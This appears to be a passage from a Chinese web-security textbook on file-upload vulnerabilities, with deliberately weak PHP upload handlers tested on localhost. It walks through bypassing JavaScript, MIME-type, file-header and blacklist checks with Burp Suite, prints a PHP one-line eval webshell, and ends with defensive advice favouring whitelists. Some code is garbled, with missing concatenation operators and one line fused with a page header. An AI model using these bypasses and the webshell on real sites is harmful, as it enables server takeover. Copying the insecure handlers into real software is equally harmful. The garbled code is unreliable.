Web安全:文件上传漏洞
ID:Computer-network
一般将文件上传归类为直接文件上传与间接文件上传。直接文件上传就是服务器根本没有做任何安全过滤,导致攻击者可以直接上传小马文件及大马文件(如ASP、ASPX、PHP、JSP及war文件等类型的小马文件及大马文件),从而得到目标站点的shell。间接文件上传就是服务器对用户上传的文件使用了安全策略:第一种安全策略是在程序代码中设置黑名单或者白名单;第二种安全策略是在Web应用层加一个WAF。对于第一种安全策略,当程序代码中设置的是黑名单的时候,攻击者可能会想办法绕过黑名单的限制,实现文件上传,进而得到shell。绕过白名单的限制亦同理,只是白名单策略的限制一般而言更难绕过。对于第二种安全策略,大家都知道WAF吧?WAF其实也是基于mod_security模块进行开发的,一个WAF功能及性能的好坏直接决定了网站的安全系数。所以,如果研究透WAF里的拦截规则,或许就有办法绕开WAF的拦截,从而实现SQL注入及文件上传等。一般情况下,攻击者会通过查找文件上传功能程序中的文件上传安全检测代码的漏洞,然后利用该漏洞绕过文件上传安全检测代码的限制,实现上传文件。接下来,我们来全面、细致地学习文件上传漏洞相关的知识,其具体类型包括JavaScript验证绕过、MIME类型验证、文件头内容验证、黑名单内容验证及白名单内容验证等。
1、JavaScript验证绕过
事实上,基于客户端的验证都是不安全的。接下来,我们来介绍客户端JavaScript验证绕过的情况,浏览器请求测试代码与服务器响应测试代码分别如下。
浏览器请求测试代码:js_bypass.html代码。
<html>
<head>
<meta http-equiv='Content-Type' content='text/html;charset=gbk'/>
<meta http-equiv='content-language' content='zh-CN'/>
<title>客户端JS验证绕过测试代码</title>
<script type='text/JavaScript'>
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == '') {
alert('你还没有选择任何文件,不能上传!');
return false;
}
//定义允许上传的文件类型
var allow_ext = '.jpg|.jpeg|.png|.gif|.bmp|';
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf('.'));
//alert(ext_name);
//alert(ext_name '|');
//根据上传文件类型判断是否允许上传
if (allow_ext.indexOf(ext_name '|') == -1) {
var errMsg = '该文件不允许上传,请上传' allow_ext '类型的文件,当前文件类型为' ext_name;
alert(errMsg);
return false;
}
}
</script>
</head>
<body>
<h3>客户端JS验证绕过测试代码</h3>
<form action='upload.php' method='post' enctype='multipart/form-data' name='upload' onsubmit='return checkFile()'>
<input type='hidden' name='MAX_FILE_SIZE' value='204800'/>
请选择要上传的文件:<input type='file' name='upfile'/>
<input type='submit' name='submit' value='上传'/>
</form>
</body>
</html>
服务器响应测试代码:upload.php代码。
<?php
//客户端JavaScript验证绕过测试代码
$uploaddir = 'uploads/';
if (isset($_POST['submit']))
{
if (file_exists($uploaddir))
{
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . )84Web安全漏洞原理及实战
}
else
{
exit($uploaddir . '文件夹不存在,请手工创建!');
}
}
?>
攻击者将上述测试代码分别放在客户端与服务器,开启浏览器,输入http://localhost:81/js_bypass.html,Web服务器返回信息如图1所示。
图1 返回信息
我们可以看到,不允许上传PHP文件,是谁不允许?查看代码,原来是JavaScript不允许上传PHP文件,代码如图2所示。
图2 网页代码
文件上传安全检测代码如下。
<script type='text/JavaScript'>
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == '') {
alert('你还没有选择任何文件,不能上传!');
return false;
}
//定义允许上传的文件类型
var allow_ext = '.jpg|.jpeg|.png|.gif|.bmp|';
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf('.'));
//alert(ext_name);
//alert(ext_name '|');
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name '|') == -1) {
var errMsg = '该文件不允许上传,请上传' allow_ext '类型的文件,当前文件类型为' ext_name;
alert(errMsg);
return false;
}
}
</script>
攻击者将js_bypass.html这个网页保存到本地,修改代码,将代码“var allow_ext = '.jpg|.jpeg|.png|.gif|.bmp|';”修改为“var allow_ext = '.jpg|.jpeg|.png|.gif|.bmp|.php';”,再将以下这段代码中action的内容修改为“action=' http://localhost:81/upload.php'”。全部修改完毕以后,保存js_bypass.html文件到C盘根目录。
<form action='' method='post' enctype='multipart/form-data' name='upload' onsubmit='return checkFile()'>
<input type='hidden' name='MAX_FILE_SIZE' value='204800'/>
请选择要上传的文件:<input type='file' name='upfile'/>
<input type='submit' name='submit' value='上传'/>
</form>
开启浏览器并输入file:///C:/js_bypass.html。尝试上传PHP文件并发送请求后,地址将跳转到localhost:81/upload.php,Web服务器返回信息如图3所示。
图3 返回信息
我们可以看到,xiaoma.php文件已经上传成功了。接下来,通过“中国菜刀”就可以获取shell了,xiaoma.php文件就是刚才上传的,如图4所示。
图4 xiaoma.php文件
2、MIME类型验证
言及MIME类型验证,我们可以先来了解一下PHP环境配置文件中关于文件上传的一些设置,其设置为file_uploads=、file_uploads=on(允许上传文件)、file_uploads=off(不允许上传文件),这里的本地PHP代码环境默认设置允许上传文件,如图5所示。
图5 默认设置允许上传文件
默认设置允许上传文件之后,我们就可以设置一些文件上传的属性了,如图6所示。
图6 设置file_uploads=on
接着说MIME类型验证。在最早的HTTP中,并没有附加的数据类型信息,所有传送的数据都被客户端程序解释为HTML文档,而为了支持多媒体数据类型,HTTP中使用了附加在文档之前的MIME数据类型信息来标识数据类型。MIME意为多功能Internet邮件扩展,它设计的最初目的是在发送电子邮件时附加多媒体数据,让邮件在客户端程序中能根据其类型进行处理。然而当HTTP支持MIME之后,它的意义就更为显著了。它使HTTP传输的不仅是普通的文本,而且可以是丰富的数据类型。每个MIME类型由两部分组成,一部分定义的是数据的大类别,另一部分定义的是具体的种类。一些常见的MIME类型为超文本标记语言文本(.html text/html)、普通文本(.txt text/plain)、png图形(.png image/png)、gif图形(.gif image/gif)、jpeg图形(.jpeg,.jpg image/jpeg)。接下来,用测试代码来说明MIME类型验证的绕过。测试代码如下。
图片文件上传表单:mime_bypass1.html代码。
<form method='post' action='upload1.php' enctype='multipart/form-data'>
<input type='file' name='file' />
<input type='submit' name='submit' value='上传图片' />
</form>
图片文件上传MIME类型验证代码:upload1.php代码。
<?php
if (($_FILES['file']['type'] == 'image/gif') || ($_FILES['file']['type'] == 'image/png') || ($_FILES['file']['type'] == 'image/jpeg') || ($_FILES['file']['type'] == 'image/pjpeg'))
{
$upload_dir = 'uploads/';
$upload_file = $upload_dir . basename ($_FILES['file']['name']);
$flag = move_uploaded_file ($_FILES['file']['tmp_name'], $upload_file);
if ($flag)
{
echo '文件上传成功!';
echo '<br />';
echo '文件名: ' . $_FILES['file']['name'];
echo '<br />';
echo '文件类型: ' . $_FILES['file']['type'];
echo '<br />';
echo '文件大小: ' . ($_FILES['file']['size'] / 1024) . 'kb';
echo '<br />';
echo '临时文件: ' . $_FILES['file']['tmp_name'];
echo '<br />';
echo '永久文件:' . $upload_file;
echo '<br />';
}
else
{
echo '文件上传失败!';
echo '<br />';
exit;
}
}
else
{
echo '图片格式不正确!';
exit;
}
?>
开启浏览器,输入http://localhost:81/mime_bypass1.html,上传一个doc文件并发送请求后,地址将跳转到localhost:81/upload1.php,结果显示图片格式不正确。Web服务器返回信息如图7所示。
图7 返回信息
返回信息为“图片格式不正确!”,上传图片文件,如图8所示。
图8 上传图片文件
使用Burp Suite截取浏览器上传1.png文件时发送到服务器的数据包,如图9所示。
图9 Burp Suite截取数据包(1)
我们可以看到如下信息。
Content-Disposition: form-data; name='file'; filename='1.png'
Content-Type: image/png
HTTP头中,Content-Type字段的值为image/png。我们可以看到,这个文件的MIME类型是png,而不是其他类型。此时,把1.png文件的文件名修改为1.gif,再用Burp Suite截取数据包上传,看一下HTTP头中Content-Type字段的值又是什么,如图10所示。
图10 Burp Suite截取数据包(2)
我们可以看到如下信息。
Content-Disposition: form-data; name='file'; filename='1.gif'
Content-Type: image/gif
HTTP头中,Content-Type字段的值为image/gif。其实,我们可以使用UE打开1.png文件,此时,会发现UE开头部分有png关键字存在,如图11所示。
图11 使用UE打开.png格式图片
png关键字就说明这个文件是png文件,我们将1.png文件的文件名修改为1.gif,用UE打开,如图12所示。
图12 使用UE打开.gif格式图片(1)
为什么还是png关键字,而不是预想的gif关键字?打开真正的gif文件看个究竟,如图13所示。
图13 使用UE打开.gif格式图片(2)
我们可以看到,真正的gif文件,UE开头部分是GIF89a。关键字GIF89a就说明这个文件是gif文件。这说明,Burp Suite是没办法识别图片文件真正的MIME类型的,需要使用UE才能真正识别。这个关键字其实就叫作图片文件的文件头部信息。该信息可标识这个图片文件是什么类型(是png、gif还是jpg等)。如果图片文件1.png上传成功,那么Web服务器就会返回信息,如图14所示。
图14 返回信息
接着,上传一个PHP编写的小马文件,小马内容是<?php @eval($_POST[cmd]);?>。当然,upload.php文件肯定不会允许上传这种类型的文件。此时,攻击者就能通过修改该文件的MIME类型,“欺骗”服务器(其实就是“欺骗”upload.php文件),从而实现上传PHP编写的小马文件。开启Burp Suite截取上传数据包,上传xiaoma.php文件,如图15所示。
图15 上传小马文件
攻击者截取上传数据包,如图16所示。
图16 Burp Suite截取数据包(3)
我们可以看到如下信息。
Content-Type: application/octet-stream
application/octet-stream
这个MIME类型是任意的二进制类型,不是图片MIME类型。看来MIME类型是不会通过服务器验证的。此时,攻击者就能在Burp Suite中修改MIME的值,修改为图片真正的MIME类型的值。比如,将application/octet-stream 修改为image/png,然后,通过Burp Suite上传。这样就可以成功上传PHP代码文件了,上传其他类型文件也是一样的道理。先来修改上传数据包再上传,如图17所示。
图17 Burp Suite截取数据包(4)
我们可以看到,xiaoma.php文件已经在uploads文件夹下面了,此时,攻击者已经成功绕过MIME类型文件上传验证及上传shell了,如图18所示。
图18 上传shell
总结:PHP编程语言中常见的$_FILES系统函数如下。
$_FILES['myFile']['name']:显示客户端文件的原名称。
$_FILES['myFile']['type']:文件的MIME类型,例如'image/gif'。
$_FILES['myFile']['size']:已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name']:储存的临时文件名,一般是系统默认。
3、文件头内容验证
接下来,我们介绍如何通过文件头部信息来限制文件上传,先看以下两段代码。
security_upload.html为客户端上传文件代码,具体如下。
<form method='post' action='security_upload.php' enctype='multipart/form-data'>
<input type='file' name='file' />
<input type='submit' name='submit' value='上传图片' />
</form>
security_upload.php为服务器限制上传文件代码,具体如下。
<?php
$upload_dir = 'uploads/';
$upload_file = $upload_dir . basename ($_FILES['file']['name']);
$flag = move_uploaded_file ($_FILES['file']['tmp_name'], $upload_file);
if ($flag)
{
echo '文件上传成功!';
echo '<br />';
echo '文件名: ' . $_FILES['file']['name'];
echo '<br />';
echo '文件类型: ' . $_FILES['file']['type'];
echo '<br />';
echo '文件大小: ' . ($_FILES['file']['size'] / 1024) . 'kb';
echo '<br />';
echo '临时文件: ' . $_FILES['file']['tmp_name'];
echo '<br />';
echo '永久文件:' . $upload_file;
echo '<br />';
}
else
{
echo '文件上传失败!';
echo '<br />';
exit;
}
//调用checkFileType函数得到文件类型
$check = checkFileType($upload_file);
echo '图片真正类型:'.$check;
echo '<br />';
if ($check == 'Unknown')
{
if (!unlink ($upload_file))
{
echo '删除非法上传文件失败!';
}
else
{
echo '已删除该非法上传的文件!';
}
}
else
{
echo '上传文件为真实图片文件!';
echo '<br />';
}
//检测上传文件的类型函数
function checkFileType($fileName)
{
$file = fopen($fileName, 'rb');
//只读两个字节
$bin = fread($file, 2);
fclose($file);
//C为无符号整数
$strInfo = @unpack('C2chars', $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
//保存识别到的文件类型
$fileType = '';
switch( $typeCode )
{
case '255216':
return 'jpg';break;
case '7173':
return 'gif';break;
case '13780':
return 'png';break;
default:
return 'Unknown';break;
}
}
?>
开启浏览器,输入http://localhost:81/security_upload.html,先上传一个真实的图片文件1.png,Web服务器返回如下信息。
文件上传成功!
文件名: 1.png
文件类型: image/png
文件大小: 177.83984375kb
临时文件: C:\Windows\PHP268B.tmp
永久文件:uploads/1.png
图片真正类型:png
上传文件为真实图片文件!
将1.png文件的文件名修改为1.doc,再上传试试,Web服务器返回如下信息。
文件上传成功!
文件名: 1.doc
文件类型: application/msword
文件大小: 177.83984375kb
临时文件: C:\Windows\PHPAFAA.tmp
永久文件:uploads/1.doc
图片真正类型:png
上传文件为真实图片文件!
此时,程序还是可以识别这是png文件(不会因为文件后缀名改变就不认识了)。上传一个txt文件,Web服务器返回如下信息。
文件上传成功!
文件名: hello.txt
文件类型: text/plain
文件大小: 0.005859375kb
临时文件: C:\Windows\PHP859F.tmp
永久文件:uploads/hello.txt
图片真正类型:Unknown
已删除该非法上传的文件
服务器已经不认识它了,说“不知道你是谁”:Unknown。并且将该txt文件使用unlink函数直接删除,毫无保留。再上传一个word文件试试看,Web服务器返回如下信息。
文件上传成功!
文件名: 什么是文件上传漏洞.doc
文件类型: application/msword
文件大小: 57kb
临时文件: C:\Windows\PHP5430.tmp
永久文件:uploads/什么是文件上传漏洞.doc
图片真正类型:Unknown
已删除该非法上传的文件!
此时,可以看到uploads文件夹下面只有这些文件:1.png及1.doc。其实,1.doc就是1.png修改后缀名后的文件,本质上它是png文件,如图19所示。
图19 上传文件成功
所以,识别文件头验证上传文件的合法性,是文件上传的一种更安全的解决方案。但是,这种更安全的解决方案还是可以被攻击者绕过的。直接在一句话木马文件头部信息中写上png或gif文件头信息,依然可以成功上传一句话木马文件得到shell。那么,有没有更安全的解决方案呢?答案是有的。唯一、根本的解决方案就是,收集齐全各种木马的特征代码(编码与非编码,加密与非加密),通过匹配查找整个文件的二进制源中是否含有这些特征代码(不单只是文件头部)。这就与杀毒软件的机制已经十分相似了(可以研究下杀毒软件原理)。因此,还是那句话:安全无绝对,攻与防时刻在变化。
4、黑名单内容验证
接下来,我们介绍如何通过黑名单内容验证来限制文件上传,先看以下两段代码。
Blacklist.html为客户端上传文件代码,具体如下。
<form method='post' action='blacklist.php' enctype=' multipart/form-data'>
<input type='file' name='file' />
<input type='submit' name='submit' value='上传图片' />
</form>
Blacklist.php为服务器限制上传文件代码,具体如下。
<?php
$dis_allowed_Extensions = array('PHP','JSP','WAR','ASPX','ASHX');
if (in_array(end(explode('.',strtolower($_FILES['file']['name']))), $dis_allowed_Extensions))
{
echo '非法文件!';
echo '<br />';
exit;
}
else
{
echo '合法文件!';
$upload_dir = 'uploads/';
$upload_file = $upload_dir . basename ($_FILES['file']['name']);
$flag = move_uploaded_file ($_FILES['file']['tmp_name'], $upload_file);
if ($flag)
{
echo '文件上传成功!';
echo '<br />';
echo '文件名: ' . $_FILES['file']['name'];
echo '<br />';
echo '文件类型: ' . $_FILES['file']['type'];
echo '<br />';
echo '文件大小: ' . ($_FILES['file']['size'] / 1024) . 'kb';
echo '<br />';
echo '临时文件: ' . $_FILES['file']['tmp_name'];
echo '<br />';
echo '永久文件:' . $upload_file;
echo '<br />';
}
else
{
echo '文件上传失败!';
echo '<br />';
exit;
}
}
?>
开启浏览器,输入http://localhost:81/blacklist.html,上传一个PHP文件,Web服务器返回如下信息。
非法文件!
接着上传一个HTML文件,Web服务器返回如下信息。
合法文件!文件上传成功!
文件名: backdoor.html
文件类型: text/html
文件大小: 0.0478515625kb
临时文件: C:\Windows\PHP5EC0.tmp
永久文件:uploads/backdoor.html
如果这个HTML文件是攻击者上传的后门文件(后门文件本质上是小马文件或者大马文件),那么此时此刻,攻击者就已经绕过了$dis_allowed_Extensions这个黑名单的限制,获取了站点的shell。开启浏览器,输入http://localhost:81/uploads/backdoor.html,Web服务器返回信息如图20所示。
图20 返回信息
其实,可以看出,黑名单机制是很不安全的,只要攻击者上传的文件不在黑名单限制范围之内,系统都默认“放行”,这样还有什么安全可言。可能有人会说,只要全部考虑完善,这个黑名单机制不就找到安全的解决方法了吗?其实,无论怎么考虑完善,都不可能保证绝对安全。但有一种相对安全的解决方案就是接下来要介绍的基于白名单的安全解决方案。
5、白名单内容验证
接下来,我们介绍如何通过白名单内容验证来限制文件上传,先看以下两段代码。
whitelist.html为客户端上传文件代码,具体如下。
<form method='post' action='whitelist.php' enctype='multipart/form-data'>
<input type='file' name='file' />
<input type='submit' name='submit' value='上传图片' />
</form>
whitelist.php为服务器限制上传文件代码,具体如下。
<?php
$allowedExtensions = array('txt','doc','xls','rtf','ppt','pdf','swf','flv','avi','wmv','jpg','jpeg','gif','png');
if (!in_array(end(explode('.', strtolower($_FILES['file']['name']))), $allowedExtensions))
{
echo '非法文件!';
echo '<br />';
exit;
}
else
{
echo '合法文件!';
$upload_dir = 'uploads/';
$upload_file = $upload_dir . basename ($_FILES['file']['name']);
$flag = move_uploaded_file ($_FILES['file']['tmp_name'], $upload_file);
if ($flag)
{
echo '文件上传成功!';
echo '<br />';
echo '文件名: ' . $_FILES['file']['name'];
echo '<br />';
echo '文件类型: ' . $_FILES['file']['type'];
echo '<br />';
echo '文件大小: ' . ($_FILES['file']['size'] / 1024) . 'kb';
echo '<br />';
echo '临时文件: ' . $_FILES['file']['tmp_name'];
echo '<br />';
echo '永久文件:' . $upload_file;
echo '<br />';
}
else
{
echo '文件上传失败!';
echo '<br />';
exit;
}
}
?>
开启浏览器,输入http://localhost:81/whitelist.php,上传一个txt文件,Web服务器返回如下信息。
合法文件!文件上传成功!
文件名: hello.txt
文件类型: text/plain
文件大小: 0.57421875kb
临时文件: C:\Windows\PHPB8AF.tmp
永久文件:uploads/hello.txt
我们发现txt文件可以成功上传,因为txt后缀名在白名单$allowedExtensions中。接着上传一个zip文件,看看是什么效果。Web服务器返回信息为非法文件!很明显,zip文件后缀名不在白名单$allowedExtensions中。后缀名不在白名单$allowedExtensions中的文件都不允许上传,这样的做法比黑名单更安全。